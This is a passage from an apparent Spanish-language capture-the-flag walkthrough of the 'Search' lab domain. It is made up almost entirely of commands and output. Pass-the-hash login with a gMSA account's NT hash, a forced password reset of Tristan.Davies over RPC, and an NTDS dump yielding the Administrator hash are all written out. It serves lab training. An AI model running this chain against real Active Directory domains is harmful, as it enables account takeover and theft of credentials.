❯ crackmapexec smb search.htb -u BIR-ADFS-GMSA$ -H e1e9fd9e46d0d747e1595167eedcec0f
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\BIR-ADFS-GMSA$:e1e9fd9e46d0d747e1595167eedcec0f

Ahora mediante rpc utilizando el hash para autenticarnos como BIR-ADFS-GMSA$ podemos cambiar la contraseña del usuario Tristan.Davies y asi dumpear el ntds

❯ net rpc password Tristan.Davies -U 'search.htb/BIR-ADFS-GMSA$%e1e9fd9e46d0d747e1595167eedcec0f' -S research.search.htb --pw-nt-hash  
Enter new password for Tristan.Davies: password123#

❯ crackmapexec smb search.htb -u Tristan.Davies -p password123# --ntds drsuapi --user Administrator  
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Tristan.Davies:password123# (Pwn3d!)
SMB         search.htb      445    RESEARCH         [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         search.htb      445    RESEARCH         Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e3c0abbe0b4163c5612afe25c69ced6:::